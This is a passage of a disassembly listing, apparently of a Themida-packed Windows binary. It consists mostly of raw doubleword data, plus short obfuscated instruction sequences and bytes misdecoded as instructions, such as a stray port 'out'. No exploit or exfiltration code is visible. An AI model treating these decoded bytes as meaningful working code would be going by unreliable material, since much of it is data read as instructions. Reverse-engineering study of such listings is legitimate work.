		dd 0B7B8A8FAh, 0B7B8A9FBh, 0DF0B9DC3h, 0D20E7AD0h, 96568DBDh
		dd 22FE9ACFh, 3690D9F1h, 4F959D0Bh, 68BA909Fh, 0C42F14FFh
		dd 90E2101Fh, 9C445956h, 4CFE286Eh, 0D84453D3h,	8D3B06C0h
		dd 1BFE33DDh, 30C3FBBDh, 3621678h, 8000000h, 85430686h
		dd 3F29738Ah, 5497ED30h, 0CA7A425Bh, 64DC38C5h,	9E4A926Bh
		dd 31300C91h, 0A895EF3Eh, 0C97E46A7h, 573727C6h, 0C781E789h
		dd 4, 8704EF83h, 248B243Ch
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	2355h
		mov	[esp], eax
		push	ebx
		push	ebp
		mov	ebp, 6188146h
		mov	ebx, ebp
		pop	ebp
		mov	esi, ebx
		pop	ebx
		push	27Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		pop	dword ptr [eax+8]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		db 0ECh
; ---------------------------------------------------------------------------
		aad	0F8h


loc_5C22CE:				; CODE XREF: Themida_:005C1D07j
		mov	eax, 618868Dh
		add	eax, ebp


loc_5C22D5:				; CODE XREF: Themida_:loc_5C1D02j
		mov	edx, ebx
		call	near ptr loc_5C22EA+2
		aaa
		adc	cl, cl
		outsd
		cmp	[esi], cl
		inc	ebp
		stosb
		xor	al, 0D0h
		out	1, al		; DMA controller, 8237A-5.
					; channel 0 base address and word count
		and	[ecx], ch


loc_5C22EA:				; CODE XREF: Themida_:005C22D7p
		ficomp	dword ptr ds:6880F58h
; ---------------------------------------------------------------------------
		dd 81000000h, 0ED3D3AD3h, 0EEC08170h, 8B000068h, 9150BFF1h
		dd 0C7816B41h, 94BE88BEh, 0F30FFF9h, 0B95AF2BFh, 6AA5471Ah
		dd 0ADA5EA81h, 0BB66022Dh, 0EA815149h, 75309D95h, 0F281C1B3h
		dd 580E865Eh, 51B96660h, 68B0F86h, 81000000h, 7FCFDFF6h
		dd 10896106h, 90D68166h, 0FBE88118h, 663796EBh,	81FD1EB9h
		dd 96EBF7C0h, 0CA8B6637h, 0F01EF83h, 2785h, 12E96000h
		dd 0BC000000h, 7174A859h, 4EBC2C99h, 4AC0FE78h,	3FC0F946h
		dd 0F3BF0F1Ah, 10E961h,	0AB780000h, 0E54A2930h,	0FFFF7CE9h
		dd 0FE5F70FFh, 32E9707Dh, 0C5000000h, 2CCA8Eh, 0Bh dup(0)
		dd 0D12E900h, 39680000h, 0E906188Ah, 0FFF8F5E7h, 188AFD68h
		dd 0F5DDE906h, 0B268FFF8h, 0E906188Bh, 0FFF8F5D3h, 188C3B68h
		dd 0F5C9E906h, 0A668FFF8h, 0E906188Fh, 0FFF8F5BFh, 18925168h
		dd 0F5B5E906h, 4F68FFF8h, 0E9061893h, 0FFF8F5ABh, 76DCD311h
		dd 5238372Ch, 341A15D0h, 127877F2h, 0F95F5090h,	0EC5485AEh
		dd 0CB7BADE3h, 2B148EC4h, 0A346E24h, 0B5C54F05h, 7E0474A2h
		dd 62A2F3C9h, 0D0DF0F65h, 0C50113CDh, 650D33CAh, 0F9040B3Fh
		dd 0E9AFA0A3h, 70A46048h, 57270BE8h, 0A5AAE614h, 0D5A69F5Ah
		dd 0FE2C231Fh, 5C9848Eh, 0A5A479F7h, 0C9848E71h, 0B14C4383h
		dd 16F7F86Bh, 9C5AEDA3h, 543DABA4h, 695D43C4h, 2909DC15h
		dd 49h,	386CB4F7h, 0F3A48h, 0D32F43FDh,	0A7AA43BCh, 0B05E28D5h
		dd 92A72904h, 14C249BCh, 66C98521h, 2E12EBE4h, 35659321h
		dd 8606FDFh, 2044F651h,	1F91C985h, 83221A04h, 106C09DCh
		dd 32000000h, 8C86EF94h, 0CCA4BFF7h, 842ADBEh, 65FF0000h
		dd 636CDB29h, 131A69Ah,	6CF968Dh, 5E6A8D7Ah, 8F3DFBBEh
		dd 648FB9EBh, 332DF0FFh, 221C7885h, 77F318C9h, 0D33CA78h
		dd 49C7C87Bh, 0DE8A5603h, 64DC3662h, 0DF20076Bh, 84D5A795h
		dd 80B29568h, 0CDC98554h, 0B9765771h, 0EE96BDF5h, 0CDD3548Ah
		dd 9DC5CF9h, 2AB9h, 6CB44700h, 50C74838h, 15D5A7B1h, 0FC306E7h
		dd 5EC98569h, 1F2739CAh, 5809DCCBh, 8C111ECAh, 906C254h
		dd 0CEEE61h, 43BE0000h,	257F8E81h, 91EB323Dh, 7F455857h
		dd 0E78CC2CDh, 0CF969113h, 0A6ECE35Dh, 0B969EE5Ah, 4ECF9688h
		dd 3A247E32h, 3C2F4535h, 0A0460BA3h, 0F3612FEAh, 1916D22Ah
		dd 722E5C84h, 963C2DDDh, 0EA8E3ACFh, 0E6B21E33h, 58BEA5AAh
		dd 9AE8D5A7h, 0E55BA2ADh, 0C096228Dh, 37633791h, 98F31720h
		dd 19C45CCFh, 5AA89816h, 251BE2EDh, 67E3314Dh, 7EEA3868h
		dd 8E6E9CB3h, 47F5CF93h, 7B9C34C9h, 0E93F6039h,	54BAFE6Ch
		dd 881916D2h, 894AE269h, 20BAA07Dh, 7A00000Ah, 1B8DC3CCh
		dd 3B6D232Ch, 0D54F050Ah, 0FB2D636Ch, 990A404Fh, 929D4574h
		dd 0F5FA6ABCh, 0D5DA059Fh, 343B257Fh, 0B3A4D45Eh, 0C97E0283h
		dd 43919380h, 60C28887h, 29A3E9E6h, 67DC6CB4h, 3DAB9568h
		dd 0B155CA4Dh, 0E612D5A7h, 690EC007h, 0C95FC985h, 0CB1C203Eh
		dd 0A95209DCh, 0FA000000h, 0F96A8143h, 5FA578F6h, 78B4E4EBh
		dd 968D27D7h, 0E8803CCFh, 91C41631h, 9CC8CF96h,	96884BFBh
		dd 0C4ACD8CFh, 0EDA3AC9Eh, 0CA8689BBh, 7B828DB8h, 57FCADC5h
		dd 0EA6DDD89h, 0D5A7A585h, 71207682h, 8097C397h, 0CF992266h
		dd 0B1C3BFCDh, 0C4C2BEB1h, 50BC8CBFh, 81E78B37h, 0DD2C2327h
		dd 894AF36Ch, 5C43F754h, 0BE000009h, 57D18788h,	6FB99F90h
		dd 99BF1FEh, 2781D7D8h,	3D662C23h, 7679E918h, 49468620h
		dd 0A9A6A103h, 888741E3h, 173870C2h, 0C97E02E7h, 43E5277Ch
		dd 60C28887h, 3DD60DE6h, 9D0B04h, 92ECA2D0h, 0D28E8143h
		dd 8C41F166h, 4EC6CF96h, 10189699h, 0CEC10359h,	5BC40092h
		dd 554045DBh, 0C5D856C2h, 0FA282F1Bh, 9CF95EAh,	451B7FBh
		dd 990FE9C2h, 95EA48F6h, 0D7A1DFCFh, 0B3EF1D12h, 0A6F13B9Ch
		dd 0A59420D5h, 4A195FB2h, 0AAFEDA73h, 87659FEh,	0DD6B25D3h
		dd 0F1A503C0h, 65DB8E81h, 609C2BE5h, 6F60E230h,	424DFF29h
		dd 99C4ACB7h, 0F763B826h, 8A7h,	167C73F1h, 0F258578Ch
		dd 0D4BAB5B0h, 0B2989752h, 99FFF070h, 0C34E50Eh, 6BDB4D03h
		dd 4BF42E64h, 0AA940E44h, 55A5EFA5h, 7E0214C2h,	20213C9h
		dd 7F8E8143h, 0F6A2F6D2h, 16FD68BAh, 0C6AAD8D7h, 0A7C0D261h
		dd 291997D5h, 2B6768DBh, 67656AD9h, 2078B9B3h, 0B1D75BC3h
		dd 22FBF477h, 84D9F727h, 0E95284C9h, 8D6BC984h,	0CDE669D9h
		dd 1CF95FDh, 347C73F3h,	44906D9Bh, 0FDF2719Ah, 9C9DB24Fh
		dd 0B08D8948h, 81E8Ah, 0C5CA7800h, 212E158Fh, 30C396Bh
		dd 616EDB4Dh, 4649F92Bh, 0BF6E9710h, 54CE848Bh,	77B1E7E8h
		dd 1395FBF4h, 3E78DED1h, 9D4DC2h, 0F9AAC97Eh, 0DB0F658Bh
		dd 6317C9D4h, 0C2BEEA36h, 0A7A1324Dh, 272864D5h, 0C98578F7h
		dd 1FB8F00Ch, 0AF594C71h, 0AFF9F052h, 0F805B3BCh, 0A1241CBAh
		dd 69C28287h, 808E5C0Dh, 1810401Bh, 26121DCAh, 324279B8h
		dd 0F3F74F0h, 0D543FD00h, 7AE93B5Dh, 0A772A0B7h, 43F1C984h
		dd 0CCCAC8D5h, 0D426D545h, 36631759h, 4BCCBCE8h, 0C984C2D3h
		dd 2E15C5C3h, 0C5708606h, 17F602ADh, 0BCD562Ah,	0D67DD3DCh
		dd 0C9852B24h, 59095DB9h, 88151ACBh, 0B3A42048h, 0C9852AA7h
		dd 8DBDD2ACh, 9AC9852Ah, 89AF06Eh, 3E3130DBh, 8036D080h
		dd 0F69AEB57h, 498059D1h, 0C985768Dh, 395E8AC0h, 0C9857609h
		dd 588EE21Eh, 0D5DA09CFh, 34DF0F65h, 45FB020Dh,	0EB3DA3D7h
		dd 74AA737Ch, 5226291Eh, 857589EDh, 0EB7C0CC9h,	5339362Dh
		dd 111CD826h, 74A4AA70h, 0E669D957h, 0C9856835h, 336FBECAh
		dd 92221995h, 1A1E57EDh, 0E6A86A35h, 70F3253Dh,	0BDC6566Eh
		dd 0B0A7137Dh, 5D266782h, 0C83F7381h, 1A5h, 0FA6CB490h
		dd 968CA555h, 9816A2CFh, 8D527CA8h, 9317AE81h, 0E13C3330h
		dd 86A9C17Fh, 0D5A733B5h, 919E4BD9h, 0E2663E99h, 0D7037FEDh
		dd 1D46F49Bh, 0AFDDC985h, 0A0AF99CBh, 438EB8EAh, 1DD20017h
		dd 2351C985h, 851D7EACh, 0A2B585C9h, 0C9851D74h, 0BDD745F3h
		dd 0CF718C83h, 0BB8D4C51h, 0F950CBC8h, 5EA64748h, 0D4DB04EFh
		dd 8EA247A6h, 0DC505775h, 0CC538D4Bh, 0F762E0F9h, 5006B4DCh
		dd 821B14D6h, 5F35614Dh, 27131CC5h, 0CEB664EBh,	3F4D4E3Eh
		dd 0E85AA27Bh, 0E551B1E7h, 3ECEC472h, 7D35434Eh, 7E2A2527h
		dd 0E8353A24h, 0EE690068h, 0C0C9840Eh, 2DF0FF64h, 801D12D7h
		dd 4466E127h, 0F83EC95Fh, 0F711414Eh, 7FD6C2Eh,	9AFCB406h
		dd 0CCD1DE08h, 0DB0BBB07h, 3BB84044h, 2D5B08A0h, 86F260D0h
		dd 8C374C4Ah, 7E7E0D74h, 9EE5153Ah, 3262DBB8h, 7BE53837h
		dd 251D87CDh, 907ED32Ah, 0CA7E94C4h, 3E51ADC5h,	0DBB89F14h
		dd 67BDED1Bh, 2D13EAE5h, 47812345h, 0FB6FB548h,	543429F4h
		dd 242B15D3h, 50A346Eh,	0F868BAF8h, 33C4F867h, 35A39C68h
		dd 150068E8h, 0AAAD9DC9h, 0DBB8BE84h, 851F7583h, 0FAE4545Bh
		dd 4B9C274Fh, 85BF50C7h, 1D5A2E2Ch, 0F4C09991h,	0FE14444Bh
		dd 7C2D454Ah, 9056D137h, 46F49B56h, 0DDDBB8BDh,	0C95B31AFh
		dd 408D101Fh, 0DD722E7Ah, 0DBB8BE39h, 2C23277Dh, 1DE0EF5Ah
		dd 0D4604F23h, 74F0027Eh, 72ED377Bh, 47A3A07Dh,	0C17F70F7h
		dd 0BD60FE91h, 0A9C7DBB8h, 0D10D67E3h, 1911CFDEh, 8E8143E3h
		dd 8E8140D2h, 47A9C17Fh, 0CA7ECE2Ah, 8A3838C5h,	8CD6B9DEh
		dd 0BDCBD5A7h, 0BBB4B7CDh, 4EFC93CFh, 0D5C9858Ch, 7BADD3A7h
		dd 5F8BC7C8h, 858D0A38h, 87EB19C9h, 0CB9F79D6h,	0D1DE059Fh
		dd 0E01C14CCh, 96C0E06Fh, 9BD765CFh, 0CBD2DD09h, 8D4C1D15h
		dd 0CF966859h, 20CE41BDh, 27CF9669h, 424DFF89h,	0F1A5032Eh
		dd 7CF58E81h, 0CE7AD5A7h, 747BE53Fh, 591A4AA5h,	0F96DBE8Fh
		dd 4B3h, 1A707FE5h, 0FE545B88h,	0E0B6B9A4h, 0C68C8346h
		dd 0A5EBE45Ch, 3828D902h, 7C76137h, 67E04208h, 46802268h
		dd 79B10349h, 7DFE28D6h, 26663FC9h, 48386CB4h, 4C74EF4Eh
		dd 1695082h, 0B81152C5h, 5AD6D5A6h, 19C55F43h, 0A3D6216h
		dd 55C984A2h, 665E40C3h, 2809DC00h, 0ADh, 0DA0F65F0h
		dd 78FA5DD5h, 0BCCF968Ch, 968C6B9Bh, 14DCF8CFh,	4263173Ah
		dd 0C6FC6A98h, 0C84F82BCh, 0CF96191Ah, 276D9B29h, 8DFDA90Ah
		dd 9618648Ah, 4855E3CFh, 20D384Ah, 0F72D45FBh, 65147A75h
		dd 0F798C89Ch, 0CF96184Fh, 8C83BCD4h, 8BB58F1Eh, 42A3CE84h
		dd 21355A16h, 75CF9619h, 0DD202F1Fh, 84A00F63h,	51420969h
		dd 6C9CBAB7h, 0C8BD7F98h, 41BD40FEh, 0E2D40215h, 0C153CF95h
		dd 4EF20B04h, 43F758D0h, 0ADCF9622h, 1864B9B6h,	14DD202Fh
		dd 0E0113334h, 0D678780h, 0FE5BDFD0h, 7E114115h, 0CF95A2ECh
		dd 0FB8FC573h, 0B4h, 0A86CB481h, 0D38A34E1h, 5E0AB883h
		dd 0A73D9E39h, 0A87583D5h, 0ABF6C6Ah, 0CC81CF6Ch, 0C1CE7EA4h
		dd 5307EE8Bh, 19C670E7h, 3F4DC985h, 8F16B0EEh, 5CE31C3Fh
		dd 0CA7F2048h, 0E5C9848Fh, 96AEB0B3h, 0D8F623E9h, 6Ch
		dd 3D69B460h, 0B2A5114Dh, 0CF968C84h, 30DE7583h, 37CF968Dh
		dd 8295F1B9h, 0CF968C54h, 7C58A5D3h, 0E889CFC0h, 6EE15105h
		dd 0CF968D0Ch, 16CD2713h, 375C8419h, 0CF968D07h, 0AB72E01Ch
		dd 4EAF6977h, 0C0130BBCh, 484FFF90h, 58D4CF96h,	88BB6FD0h
		dd 4ED2CF96h, 6D3984B5h, 89381A3Dh, 912FCF96h, 34E275A1h
		dd 33CF9689h, 318BED85h, 0FB6A8143h, 5DA746F4h,	8BA6ECE3h
		dd 609792Dh, 0D5A7B2C5h, 0E0326E9Ah, 6D916C63h,	85673CEAh
		dd 0FBDCBC9h, 6397B26Bh, 0B2C98567h, 0C905E57Eh, 678689BBh
		dd 67A452F9h, 15A3C985h, 0CE271F1Dh, 316B09DCh,	31000000h
		dd 39A86CB4h, 0A64AB2F1h, 45F3FC65h, 0CEB36D47h, 55C36108h
		dd 0EFFD72E5h, 0CE7AD5A6h, 0A7E6183Fh, 0E137C984h, 0A447866h
		dd 0C30A09DCh, 0D2000000h, 7F8E8143h, 0EB323D25h, 45585791h
		dd 8CC2CD7Fh, 969113E7h, 0ECE35DCFh, 1FCF40BCh,	24CF9689h
		dd 434CFE88h, 0ED5FC92Fh, 0EA361BE2h, 0E24DC2BEh, 0E7D5A792h
		dd 8A560349h, 0A086BB4Eh, 27558496h, 7CE53F6Bh,	0C2B6AA73h
		dd 985B395Dh, 0A6922ECFh, 0F9E914Ch, 0F12D59D1h, 0FFABA4A3h
		dd 9436AA58h, 670BB9CFh, 440A053Dh, 986966E2h, 894A7C57h
		dd 8F86EBFh, 12000002h,	3375DBD4h, 0D3553B34h, 0ED371D12h
		dd 93157B74h, 0B1F25857h, 0EAE55D8Ch, 0CDC202A4h, 2D221D87h
		dd 0C033D67h, 9BBCCC46h, 0C97DFA6Bh, 4379ABF8h,	6CD88887h
		dd 968C3BEBh, 0D97EC8CFh, 0CF968D29h, 1C14823Eh, 0B1BEA8FAh
		dd 6CB461DBh, 861C4838h, 81BF4E41h, 0B0D146E9h,	1A96D5A7h
		dd 0DA059F83h, 0F12F7A45h, 0E01EF02Dh, 0E84F231Dh, 0C9856B36h
		dd 0F6161187h, 51ACA39Ch, 0C9D4DB0Bh, 0A6A99917h, 0C9856B78h
		dd 3339718Fh, 9DCCE0Bh,	0AF47h,	5E891B00h, 9C944C51h, 8E81436Eh
		dd 0D63D257Fh, 12EB1916h, 9691E337h, 5C538DCFh,	0BDB2ACF6h
		dd 5105E360h, 93056EE1h, 0FE0AD5A7h, 4B1FF998h,	2DF7781Fh
		dd 0D06CCF99h, 0DAD51260h, 0E9151DC3h, 0F0A0AF9Bh, 17C74884h
		dd 2CCF93ECh, 0EBCB7B90h, 332DCF93h, 507FE13Ch,	9A0807C0h
		dd 32367096h, 8B89EC3Dh, 0C01D894Ah, 10A1Ah, 0D9D60C00h
		dd 3D323173h, 1F10CD57h, 757AEF39h, 525D851Fh, 5382ABFCh
		dd 70B29897h, 1395FBF4h, 2F79DFD0h, 0DA5C323Dh,	0F981B1A6h
		dd 8D86C97Dh, 8887439Fh, 0DE660C2h, 0F2AEDCD3h,	55A8A7A0h
		dd 0EF6187EBh, 0D1DE0F65h, 0D6D90B59h, 7C73ED37h, 0E858AA16h
		dd 0A6B27577h, 0F87677B5h, 0C84F3B25h, 0CF96241Ah, 0BA979B29h
		dd 0E25E0A5Eh, 2371A1B6h, 0B2A5CF96h, 0CF962384h, 0DA567583h
		dd 0AB12F156h, 7D17D5AEh, 23ECFC0h, 9A1B1104h, 1F8DD38Eh
		dd 5FB4B68Eh, 2719E4EBh, 0BEABF9A9h, 0D97F9B1h,	0C9791ED3h
		dd 5EC97DC8h, 666735B2h, 8A38C583h, 0BD404FF8h,	0E9251583h
		dd 7E25B866h, 79314FC9h, 4107A9A0h, 0C00F450h, 0C033DFBh
		dd 6ADCFA46h, 9467F14Dh, 0D4164C24h, 4FFAC2DBh,	0E080BD40h
		dd 0A8A7A167h, 898640E2h, 1DC674h, 2E9A0000h, 0CC87F929h
		dd 0BEF20EA2h, 597B654Ch, 0BA169218h, 0FF6F7715h, 1EE9DDBCh
		dd 43930D1Ah, 29738A85h, 97ED303Fh, 7A425B54h, 0DC38C5CAh
		dd 4A926B64h, 300C919Eh, 95EF3E31h, 7E46A7A8h, 3727C6C9h
		dd 5404EC83h, 8124048Fh, 42404h, 89530000h, 4C381E3h, 83000000h
		dd 1C8704EBh, 14895C24h, 46C36824h, 2C890000h, 78B85024h
		dd 0BA648366h, 6A9BEECAh, 4405C281h, 0C2296FA1h, 4405EA81h
		dd 83586FA1h, 248904ECh, 24048324h, 81525D04h, 420B2404h
		dd 458F2B2Eh, 0FABF5708h, 81743D3Fh, 0E2540F7h,	0BCE7816Eh
		dd 4F017518h, 0ADEF8147h, 29D502D6h, 0FF5F087Dh, 815D2434h
		dd 4C4h, 24148B00h, 81E38953h, 4C3h, 4C38100h, 87000000h
		dd 0E95C241Ch, 0FFF8E8E3h, 0A0A54D0h, 18947EB8h, 0FFC50306h
		dd 1E1E9E0h, 0C58BDF57h, 7D394F1Bh, 0FD6BAD3Bh,	9D8AAA0Ah
		dd 0A89B6C2Bh, 1732CF47h, 8DE8AE37h, 5A2FAC3Ah,	6F07BA06h
		dd 26D9FE7Ah, 0E5E19261h, 0FE800h, 14160000h, 0F632D109h
		dd 15769015h, 0D5FE8710h, 0E0816602h, 815F33AFh, 5D41C7h
		dd 3395B600h, 0F78052F6h, 34FF58F7h, 59D98B3Eh,	81C1B70Fh
		dd 0F9EAC3F1h, 0AE91Fh,	0E3820000h, 97E67E04h, 8F330EBEh
		dd 63C1E981h, 6B018FFh,	914DC181h, 0F780236Eh, 370C8998h
		dd 83C7BF0Fh, 0B70F04EEh, 28FE81C1h, 0FFFFFA3h,	0FFFFB985h
		dd 0E8C38BFFh, 7, 0E6C739F1h, 8030FADEh, 0F5E6CD5h, 382h
		dd 0DFB70F00h, 0DEFFC681h, 58B70000h, 32B4A7BFh, 0E2C7816Eh
		dd 0B991CD82h, 443B6BA8h, 0B86636FFh, 665A4146h, 81D203B8h
		dd 265D3F2h, 98E0F7Fh, 0F000000h, 385h,	0B2C38000h, 0DA08EA81h
		dd 8C0F2D25h, 0Ah, 48B0Fh, 0B8660000h, 0C281CC1Fh, 2841F1A0h
		dd 0EE9h, 2D37FE00h, 72370DB0h,	5CDB7EF3h, 89401B70h, 0BE916h
		dd 0D1170000h, 0E18CDF30h, 79B617F5h, 2EE83A7h,	870Fh
		dd 4E4E0000h, 0C704D081h, 0EF836270h, 2A850F01h, 60000000h
		dd 0E9F98B66h, 0Eh, 6A092F0Fh, 0E4B64848h, 0A5AF8478h
		dd 0E9617797h, 1Bh, 7243AA2Ah, 2721AB47h, 3B5EA79Ch, 24BB6633h
		dd 0FF52E994h, 352CFFFFh, 0E8319F3Ah, 8, 0A63F3CCCh, 407E56FFh
		dd 7E9h, 0D553E100h, 16744705h,	0A5D7805Eh, 589FC681h
		dd 81660000h, 2BE3A7E0h, 21FB8C9h, 34FF43ADh, 14E931h
		dd 3AAD0000h, 91279CA7h, 4C48CE9Fh, 0E47AD3F1h,	0FE421FCCh
		dd 605A676Ah, 61C7B70Fh, 6465C281h, 0B70F70CBh,	81EA81D9h
		dd 66625CC9h, 81D0CABFh, 0D6B77C2h, 0F081666Ah,	1489E11Fh
		dd 75C7810Eh, 833AB566h, 16BF02E9h, 4960AC20h, 81A3B049h
		dd 0FFA81CF9h, 0D850FFFh, 0B0000000h, 2DE94Eh, 0C0600000h
		dd 6276675Ch, 9E9h, 8543B300h, 0F9F58BD6h, 7FE91255h, 4FFFFFFh
		dd 0E62566BAh, 15E12C0Ch, 1FF3E921h, 0FC83C423h, 8D7A625Eh
		dd 1898298Dh, 4203BE06h, 8D891AAAh, 611285Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 69C35141h, 2D9145CFh
		dd 0E88166DAh, 85C7B9B4h, 6112DD1h, 73B4h, 0C7F9BF0Fh
		dd 11270985h, 6, 2BD7BF00h, 0B5FF06D8h,	6113199h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 20C35242h, 5E925h
		dd 0E2E40000h, 0FFD2F207h, 111DA995h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 6CACE899h, 0E0B10E9h
		dd 0B58B39F6h, 6111CA5h, 95FF006Ah, 61105C5h, 8EBC08Bh
		dd 902F20D7h, 482C4580h, 0ECE9h, 0
		dd 0E7AC3700h, 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h
		dd 0E6000077h, 277h, 5 dup(0)
		dd 0E7A5FD00h, 77h, 2Bh	dup(0)
		dd 200h, 0AF341400h, 2AA77BB3h,	1142451Bh, 9463D068h, 1A59856Bh
		dd 15662EB8h, 13E31E32h, 1A668832h, 156644B8h, 0E4DBA132h
		dd 15600017h, 0A8E58147h, 1377600Fh, 457F5632h,	0ADA69A61h
		dd 15668C23h, 82BC1BBh,	88EB2423h, 1375A31Bh, 4D3D5BCDh
		dd 315BF9B1h, 61662423h, 0AD354125h, 15668C23h,	82BC1BBh
		dd 88EB2423h, 1375BE2Ah, 4D3D5BCDh, 156649DBh, 9113AD32h
		dd 0D2CE6378h, 0A8FCFE5Dh, 7D9F035Fh, 15660D89h, 9C420DBBh
		dd 4EBE01F1h, 156ACD3Dh, 73062232h, 79CECFB3h, 21900954h
		dd 0A8E525E2h, 137EBA65h, 79E21E32h, 75668832h,	83598FB3h
		dd 9D6961FEh, 15661137h, 22D24D8Ch, 90EB2558h, 137E745Ch
		dd 0EFD91E52h, 6EB23654h, 1AB6BB53h, 156623BCh,	0FC06ED32h
		dd 15668822h, 0C06A0192h, 58F8AA2Ah, 9944D06Ch,	0E5C03EC8h
		dd 0A7D92252h, 980743CAh, 0D308FB7h, 14E28734h,	0E9664432h
		dd 0FC06F2CDh, 1566113Ah, 0C54B5F8Eh, 0C9A5B9ABh, 5220CAB3h
		dd 0D3074639h, 46059B7h, 9E691234h, 1566223Eh, 1560933Dh
		dd 95698832h, 15664432h, 0BDDE705Ah, 8EB1EAEh, 1A668832h
		dd 156653BCh, 1574CB32h, 70F41132h, 1CE00D41h, 687C631h
		dd 9A70458Eh, 3BE151A1h, 1AB73DCDh, 0EC9A4223h,	6119A7BFh
		dd 138F1726h, 0F8668832h, 0FF011436h, 75B6DD87h, 7FD97752h
		dd 15E887DAh, 74664432h, 8E1F9954h, 80E39853h, 1A609930h
		dd 156645BAh, 90A1DA32h, 1377046Bh, 15668832h, 1561CF3Dh
		dd 9A692232h, 15661133h, 0C4E34ECAh, 50605534h,	1567A43Dh
		dd 7D9E1132h, 9B14E15Bh, 156648DBh, 58988D32h, 4B70758Ch
		dd 525FF926h, 0C4D3BB8Ah, 1A60333Ch, 15661DB6h,	13EA8732h
		dd 1A664432h, 156622B5h, 90EBED32h, 1377B294h, 156EC93Dh
		dd 95692232h, 15661130h, 0C599E952h, 1573CA3Dh,	58F2232h
		dd 5F661132h, 0DAE10FBDh, 0D508C4A1h, 0F8986D68h, 9CF1E909h
		dd 44881B7h, 90A0BC34h,	137724E3h, 4B0EE471h, 0FCFAEF59h
		dd 1566443Bh, 97C505FCh, 0B3315C73h, 0C4D37735h, 0FC60553Ch
		dd 1566223Eh, 5EA2BA8Eh, 80B45459h, 0C2F14197h,	2FC0A7BFh
		dd 1E8F1723h, 46668832h, 692A01D2h, 62650E34h, 0C59980B3h
		dd 0CBE7EE52h, 6CD55EE2h, 2AE3AB53h, 0FC6009AAh, 1566883Dh
		dd 8BDE39C4h, 706FF24Fh, 5723278Ah, 0ED6B78AEh,	13B7C1F4h
		dd 0E0322423h, 770E385Ah, 156F61DCh, 59E44432h,	62C19981h
		dd 0EA7F7627h, 4685987h, 0AD062434h, 15353253h,	74B4A653h
		dd 156680DBh, 9073332h,	0CE9F219Ch, 0B3E39C23h,	75609908h
		dd 92E4A6B3h, 27D320ADh, 75B6EE53h, 15668DDBh, 0F1353E32h
		dd 9F31F635h, 1A074FF8h, 156689BCh, 90EFBD32h, 137EBA71h
		dd 0C4E3D7CAh, 50609934h, 2DA42CC7h, 138FF852h,	98661132h
		dd 5071A2ADh, 156FAD5Bh, 0E6FC2232h, 4264CEB4h,	0EA22CF27h
		dd 4689587h, 17E52D34h,	75661132h, 0B3E30553h, 0FC605508h
		dd 1566223Fh, 158C8917h, 0B8E7F3FEh, 23C8BD8Eh,	1AB6DD91h
		dd 156607B0h, 5ED8732h,	0FC664432h, 15662239h, 0E03FB45h
		dd 5AD86E15h, 9CD1C420h, 0DFE65B7h, 0A8E5ED34h,	13779343h
		dd 1BE34B32h, 0FC662233h, 1566113Eh, 17AE5338h,	0FA5FCD68h
		dd 19CFB9EBh, 13B794F4h, 0E0238E23h, 3518C25Ah,	14E42DC8h
		dd 0ED661132h, 1BB73DCDh, 1A064223h, 0CBE7DD8Dh, 7C64D9A5h
		dd 15776153h, 850B4432h, 0A1058ACCh, 28511FC8h,	0BC324D24h
		dd 986EA665h, 45C84B7h,	1575F834h, 0CEE98832h, 3C4FC5EDh
		dd 7ACE8873h, 958EDC93h, 0C11F4D9Fh, 0FCB6BB8Dh, 15662237h
		dd 83C02502h, 5EE301FCh, 75605CAAh, 949FA954h, 594F0DE1h
		dd 90A0E96Eh, 137742E3h, 0C3ED427Eh, 156618DAh,	0A2656432h
		dd 883E2B5Bh, 1F8F0F94h, 74661132h, 0B6AAE0E0h,	752240E3h
		dd 7D07794Fh, 0F540C1F1h, 156684DBh, 0BAB13A32h, 99E5B62Ch
		dd 290E33F7h, 0C4D37709h, 0FC60553Ch, 15662223h, 3E114CF1h
		dd 0E23D2E91h, 429A0E04h, 43FD6Dh, 0B3E39C3Fh, 1A609908h
		dd 156643BCh, 2DDD4232h, 7465329Eh, 9C9358CDh, 0DFE0BB7h
		dd 438FD734h, 1A661133h, 15668CBBh, 0CCED2432h,	0C4E3E453h
		dd 47600034h, 157761C7h, 0D44A4432h, 5C5E3252h,	835683C4h
		dd 0FB9926D2h, 7D943DC9h, 0A92CC63Fh, 156E973Dh, 95698832h
		dd 15664430h, 128F4352h, 0DF661132h, 0B5287C0Ch, 0A09977BCh
		dd 13771357h, 15729C3Dh, 1A8F8832h, 75664432h, 0AC1380D1h
		dd 28F4D48Eh, 0F59D0FB1h, 90EBC26Fh, 13771894h,	81D94752h
		dd 4D29CCC2h, 156641DBh, 6557032h, 0EA0780A4h, 1DE387E2h
		dd 75664432h, 73B9A954h, 7507E1B9h, 3E853254h, 1564CE3Dh
		dd 74062232h, 5EE39853h, 756090AAh, 74B8CF54h, 13B7A7F4h
		dd 75341723h, 0EC970354h, 5F2E2C53h, 9F69847Eh,	15661124h
		dd 156699DBh, 5D78FF32h, 3184B90Eh, 77663190h, 0F8A5D44Eh
		dd 0A099669Ch
		db 57h
byte_5C3A41	db 13h,	77h		; DATA XREF: ___:off_437FB8o
byte_5C3A43	db 13h			; DATA XREF: ___:off_43A0E8o
dword_5C3A44	dd 5DBE9152h, 156682DAh, 4FA93C32h, 9F620DA6h, 0AA51555Bh
					; DATA XREF: ___:off_43A0E0o
		dd 3AB34173h, 90EB2568h, 13771894h, 1579973Dh, 90698832h
		dd 1566442Bh, 156636DBh, 813FB132h, 0D83D0C56h,	296FCD38h
		dd 71581878h, 31E4BDA4h, 15686170h, 0C1504432h,	4BABC520h
		dd 17810073h, 0A96C163Dh, 0AE0694CDh, 71EA8ACh,	4F394265h
		dd 5AE30153h, 1A605CAAh, 15662AB8h, 9E007132h, 0E6D987F3h
